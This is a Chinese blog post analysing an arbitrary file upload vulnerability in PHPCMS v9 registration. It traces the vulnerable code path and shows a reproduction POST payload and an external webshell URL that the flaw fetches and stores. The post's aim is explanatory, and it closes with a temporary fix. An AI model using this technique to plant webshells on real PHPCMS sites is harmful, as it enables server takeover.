PHPCMS最新版任意文件上传漏洞分析 2017-04-13

前几天就听朋友说PHPCMS最新版出了几个洞,有注入还有任意文件上传,注入我倒不是很惊讶,因为phpcms只要拿到了authkey注入就一大堆……

任意文件上传倒是很惊讶,但是小伙伴并没有给我exp,今天看到了EXP,但是没有详细分析,那我就自己分析一下好啦。

首先去官网下一下最新版的程序,搭建起来。

为了方便各位小伙伴复现,这里附上最新版的下载地址:

链接: https://pan.baidu.com/s/1geNQfyb 密码: gxsd

漏洞复现

漏洞复现的办法是先打开注册页面,然后向注册页面POST如下payload:

siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=&dosubmit=1&protocol=

然后就会报错并返回shell地址:

2465281435

然后就可以连接啦。

751491367

漏洞分析

通过复现过程可以看到漏洞URL为:

http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1

可以确定是member模块的问题,以前我分析过phpcms的程序,所以就不从index.php看了,我们直接去打开member模块的控制器文件如下:

/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php

方法应该是register,我们定位到这里的函数:

889152415

首先是获取了一个$siteid然后加载了一些配置,再判断是否存在$_POST['dosubmit'],如果存在则进入到注册流程。

通过跟进发现跟我们漏洞有关的代码应该是从129行开始:

//附表信息验证 通过模型获取会员信息
if($member_setting['choosemodel']) {
    require_once CACHE_MODEL_PATH.'member_input.class.php';
   require_once CACHE_MODEL_PATH.'member_update.class.php';
    $member_input = new member_input($userinfo['modelid']);        
    $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
    $user_model_info = $member_input->get($_POST['info']);                                        
}

其中第134行从POST请求中传入了我们EXP的关键参数$_POST['info']

$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

但使用new_html_special_chars函数过滤了一遍,我们来跟进下这个函数都干了些什么事情。

function new_html_special_chars($string) {
    $encoding = 'utf-8';
    if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
    if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
    foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
    return $string;
}

好吧,只是用了htmlspecialchars函数来转义HTML特殊字符,影响不是特别大,继续往下跟,135行调用$member_input->get()方法进行了处理:

$user_model_info = $member_input->get($_POST['info']);

get方法不是很长,这里把代码贴出来:

function get($data) {
    $this->data = $data = trim_script($data);
    $model_cache = getcache('member_model', 'commons');
    $this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

    $info = array();
    $debar_filed = array('catid','title','style','thumb','status','islink','description');
    if(is_array($data)) {
        foreach($data as $field=>$value) {
            if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
            $field = safe_replace($field);
            $name = $this->fields[$field]['name'];
            $minlength = $this->fields[$field]['minlength'];
            $maxlength = $this->fields[$field]['maxlength'];
            $pattern = $this->fields[$field]['pattern'];
            $errortips = $this->fields[$field]['errortips'];
            if(empty($errortips)) $errortips = "$name 不符合要求!";
            $length = empty($value) ? 0 : strlen($value);
            if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
            if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
            if($maxlength && $length > $maxlength && !$isimport) {
                showmessage("$name 不得超过 $maxlength 个字符!");
            } else {
                str_cut($value, $maxlength);
            }
            if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
            if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
            $func = $this->fields[$field]['formtype'];
            if(method_exists($this, $func)) $value = $this->$func($field, $value);
    
            $info[$field] = $value;
        }
    }
    return $info;
}

先调用了trim_script方法处理了一下$data,跟进查看:

 function trim_script($str) {
    if(is_array($str)){
        foreach ($str as $key => $val){
            $str[$key] = trim_script($val);
        }
     }else{
         $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1script\\2&gt;', $str );
        $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1iframe\\2&gt;', $str );
        $str = preg_replace ( '/\]*?)\>/si', '&lt;\\1frame\\2&gt;', $str );
        $str = str_replace ( 'javascript:', 'javascript:', $str );
     }
    return $str;
}

好吧,只是进行了部分正则替换,看样子跟我们本次要谈的漏洞关系不是特别大,继续往下看。

get函数中有个关键的地方是if(is_array($data))我们payload中的infoj就是个数组,所以能走进这个if条件中,继续跟。

先是用foreach进行遍历$info,键名为$field,键值为$value,首先用safe_replace进行了一次安全替换:

$field = safe_replace($field);

safe_replace函数看看:

/**
 * 安全过滤函数
 *
 * @param $string
 * @return string
 */
function safe_replace($string) {
    $string = str_replace('%20','',$string);
    $string = str_replace('%27','',$string);
    $string = str_replace('%2527','',$string);
    $string = str_replace('*','',$string);
    $string = str_replace('"','&quot;',$string);
    $string = str_replace("'",'',$string);
    $string = str_replace('"','',$string);
    $string = str_replace(';','',$string);
    $string = str_replace('','&gt;',$string);
    $string = str_replace("{",'',$string);
    $string = str_replace('}','',$string);
    $string = str_replace('\\','',$string);
    return $string;
}

将部分字符替换为空了,我们继续往下跟,发现geth方法中这两行很关键,很有可能跟漏洞相关:

$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

先是获取了一个$func,然后判断方法如果存在就带入这个函数,我这里用的debug模式,可以直接看到最终的$func是editor。

2678520509

然而实际上这个editor是存在数据库中v9_model_field表中的。

3599160895

我们继续跟进editor方法:

function editor($field, $value) {
    $setting = string2array($this->fields[$field]['setting']);
    $enablesaveimage = $setting['enablesaveimage'];
    $site_setting = string2array($this->site_config['setting']);
    $watermark_enable = intval($site_setting['watermark_enable']);
    $value = $this->attachment->download('content', $value,$watermark_enable);
    return $value;
}

然后这篇文章的高潮部分来了!!!!

看这里:

$value = $this->attachment->download('content', $value,$watermark_enable);

$value,也就是我们的info[content]带入到了$this->attachment->download函数!继续跟!!

整段函数如下:

/**
 * 附件下载
 * Enter description here ...
 * @param $field 预留字段
 * @param $value 传入下载内容
 * @param $watermark 是否加入水印
 * @param $ext 下载扩展名
 * @param $absurl 绝对路径
 * @param $basehref 
 */
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
    global $image_d;
    $this->att_db = pc_base::load_model('attachment_model');
    $upload_url = pc_base::load_config('system','upload_url');
    $this->field = $field;
    $dir = date('Y/md/');
    $uploadpath = $upload_url.$dir;
    $uploaddir = $this->upload_root.$dir;
    $string = new_stripslashes($value);
    if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    $remotefileurls = array();
    foreach($matches[3] as $matche)
    {
        if(strpos($matche, '://') === false) continue;
        dir_create($uploaddir);
        $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    }
    unset($matches, $string);
    $remotefileurls = array_unique($remotefileurls);
    $oldpath = $newpath = array();
    foreach($remotefileurls as $k=>$file) {
        if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
        $filename = fileext($file);
        $file_name = basename($file);
        $filename = $this->getname($filename);

        $newfile = $uploaddir.$filename;
        $upload_func = $this->upload_func;
        if($upload_func($file, $newfile)) {
            $oldpath[] = $k;
            $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
            @chmod($newfile, 0777);
            $fileext = fileext($filename);
            if($watermark){
                watermark($newfile, $newfile,$this->siteid);
            }
            $filepath = $dir.$filename;
            $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
            $aid = $this->add($downloadedfile);
            $this->downloadedfiles[$aid] = $filepath;
        }
    }
    return str_replace($oldpath, $newpath, $value);
}    

先是设置了一些参数,然后把我们的payload带入了一个new_stripslashes函数:

/**
 * 返回经stripslashes处理过的字符串或数组
 * @param $string 需要处理的字符串或数组
 * @return mixed
 */
function new_stripslashes($string) {
    if(!is_array($string)) return stripslashes($string);
    foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
    return $string;
}

进行了一个stripslashes操作。

这行也是关键的一步:

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

这里匹配了srchref中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png

不过匹配的并不严格,还是有办法可以绕过的,如图:

160312422

这一步被绕过,下面应该就是下载文件了吧。。。

随后在这一行带入了函数fillurl

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

fillurl中还很贴心的给我们去掉了#后的内容:

$pos = strpos($surl,'#');
        if($pos>0) $surl = substr($surl,0,$pos);

这个时候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php

随后便进行了万恶的下载:

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
    $oldpath[] = $k;
    $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
    @chmod($newfile, 0777);
    $fileext = fileext($filename);
    if($watermark){
        watermark($newfile, $newfile,$this->siteid);
    }
    $filepath = $dir.$filename;
    $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
    $aid = $this->add($downloadedfile);
    $this->downloadedfiles[$aid] = $filepath;
}

其中$upload_func等同于php的copy函数。

然而:

2107406172

fopen一般都是可用的,如果开启了allow_url_fopen,这个漏洞就构成了,然而大部分环境都默认开启了allow_url_fopen

最终在插入注册信息时因为混入了未知的参数而导致插入失败,报错就显示出了这个未知的参数 23333

至此,该漏洞分析完成。

漏洞修复

官方目前仍未发布修复补丁。

临时修复方案可以考虑禁用uploadfile目录下的PHP执行权限。